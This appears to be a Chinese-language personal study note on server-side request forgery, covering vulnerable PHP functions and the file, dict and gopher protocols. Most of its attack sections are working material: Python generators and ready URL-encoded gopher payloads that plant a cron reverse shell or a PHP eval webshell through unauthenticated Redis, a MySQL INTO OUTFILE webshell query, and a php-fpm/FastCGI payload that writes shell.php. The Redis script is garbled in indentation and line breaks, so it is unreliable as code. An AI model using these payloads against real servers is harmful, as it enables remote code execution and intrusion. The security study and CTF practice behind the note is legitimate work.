SSRF笔记

基础

SSRF(服务端请求伪造漏洞) 由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。

通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等

造成漏洞的一些函数

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。

file_get_contents()/readfile()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

curl_exec()

<?php 
$url=$_POST['url']; 
$ch=curl_init($url);  //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result); 
?>

SSRF攻击中涉及的一些协议

http

直接http访问

dict协议

在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

先判断哪个端口存在web服务

这里是直接用burp爆破端口就可以

image-20230328100031810

file伪协议

file为协议就不用多说了

payload:?url=file:/var/www/html/flag.php

但是需要知道文件具体位置才能读到敏感信息。

Gopher协议

gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

curl是支持gopher协议的,所以这也是curl_exec()容易出现漏洞的地方

gopher://IP:port/_{TCP/IP数据流}

那么,为什么ssrf要配合gopher协议呢?

我觉得,是因为正常来说你只能传一个内网url+文件路径,没法做更多的操作,比如传马,比如绕过验证,但是curl_exec()支持gopher协议,gopher可以把一整个请求包打包塞进里面,那请求包能干的事我们就都能干, 并且就可以解决漏洞点不在GET参数的问题了 。

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包 2、URL编码、替换回车换行为%0d%0a 3、发送gopher协议

在转换为URL编码时候有这么几个坑

1、问号(?)需要转码为URL编码,也就是%3f 2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a 3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

这里我们需要构造一个POST的数据包

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=00f001523d0b955749ea5e3b0ca09b5f

然后我们就可以进行url编码了,编码次数取决于我们访问次数。

第一次编码:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7

把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a

然后在进行一次URL编码

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%25

SSRF打内网

存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议。

file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。

  • redis
  • fastcgi
  • mysql

到这里就不得不提gopherus这个工具的使用了:此工具可以自动生成 Gopher payload,以利用 SSRF并获得 RCE。

该工具的攻击范围:

  1. MySQL (Port-3306)
  2. PostgreSQL(Port-5432)
  3. FastCGI (Port-9000)
  4. Memcached (Port-11211)
  5. Redis (Port-6379)
  6. Zabbix (Port-10050)
  7. SMTP (Port-25)

1666629843369

使用说明:

https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/

redis

理论

首先要知道redis是个啥,起什么作用

看宝塔里面的redis安装说明,貌似这个就是一种数据库,那么ssrf打redis和mysql应该是有类似的效果

1666189235250redis常见漏洞利用https://www.freebuf.com/articles/network/280984.html

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等…..

攻击

  • 写进定时任务

    主要依靠如下redis命令
    flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave 

    脚本

    import urllib.parse
    protocol="gopher://"
    ip="192.168.0.129"
    port="6379"
    reverse_ip="192.168.0.132"
    reverse_port="2333"
    cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
    filename="root"
    path="/var/spool/cron"
    passwd=""
    cmd=["flushall",     "set 1 {}".format(cron.replace(" ","${IFS}")),     "config set dir {}".format(path),     "config set dbfilename {}".format(filename),     "save"     ]
    if passwd:    
        cmd.insert(0,"AUTH {}".format(passwd))
        payload=protocol+ip+":"+port+"/_"def redis_format(arr):    
            CRLF="\r\n"    
            redis_arr = arr.split(" ")    
            cmd=""    
            cmd+="*"+str(len(redis_arr))    
            for x in redis_arr:        
                cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    
                cmd+=CRLF    
                return cmdif __name__=="__main__":    
                for x in cmd:        
                    payload += urllib.parse.quote(redis_format(x))    
                    payload=urllib.parse.quote(payload)    
                    with open('Result.txt','w') as f:        
                        f.write(payload)    
                        with open("Result.txt","r") as f:        
                            for line in f.readlines():            
                                print(line.strip())
  • 写webshell

    在内网中的redis不会开web服务的吧..

    import urllib
    protocol="gopher://"
    ip="127.0.0.1"
    port="6379"
    shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
    filename="shell.php"
    path="/var/www/html"
    passwd=""
    cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]
    if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd
    
    if __name__=="__main__":
    for x in cmd:
    payload += urllib.quote(redis_format(x))
    print urllib.quote(payload)    # 由于我们这里是GET,所以要进行两次url编
    

命令

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

payload

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

mysql

攻击实现原理

我觉得首先学习mysql写shell

https://www.cnblogs.com/zztac/p/11371149.html

https://paper.seebug.org/510/

比较常用的,其实也没啥神秘的,不过是把查询到的数据进行一个导出,我们在查的东西里面写一下一句话木马,这个木马就会出现在我们查询的数据表里,如果能导出为php文件就万事大吉了

select '<?php @eval($_POST["shell"]);?>' into outfile "/var/www/html/shell.php"

还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本就GG了,但是load_file,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/而不是\

大概了解了一下,客户端连接mysql有两种,一种是有密码,一种是无密码, 所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,这里利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

进行mysql查询的时候同样有数据包交互,我们要做的就是伪造这种数据包交互,进行curl,当然,这种我们伪造的数据包是利用gopher协议进行发送的

curl gopher://127.0.0.1/_XXXXXX 大概像这样

FAST-CGI

理论

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

nginx本身不能处理PHP,它只是个web服务器,当接收到请求后,如果是php请求,则发给php解释器处理,并把结果返回给客户端。

nginx一般是把请求发fastcgi管理进程处理,fascgi管理进程选择cgi子进程处理结果并返回被nginx

php-fpm:https://zhuanlan.zhihu.com/p/99271704

nginx和php-fpm的交互:https://learnku.com/articles/41710

简而言之,nginx知识一个服务器,php相关的活还得转交给背后的php干,而fastcgi就是这个“通讯兵”,而且是遵从某种转接规则的通讯兵,而php-fpm就是管理这些“通讯兵”的长官。

攻击实现原理

那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?

理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_fileauto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_filephp://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include

使用工具 Gopherus 生成攻击FastCGI协议的payload

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

现成的payload

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

image-20230328102340167

这里有一个利用ssrf302跳转打本地fpm的例子

ssrf 302跳转绕过,打本地php-fpm

302.php

1666630726777

类似的,我们形成一个命令为ls的payload

1666630796804

参考:https://www.anquanke.com/post/id/262430#h2-8

0%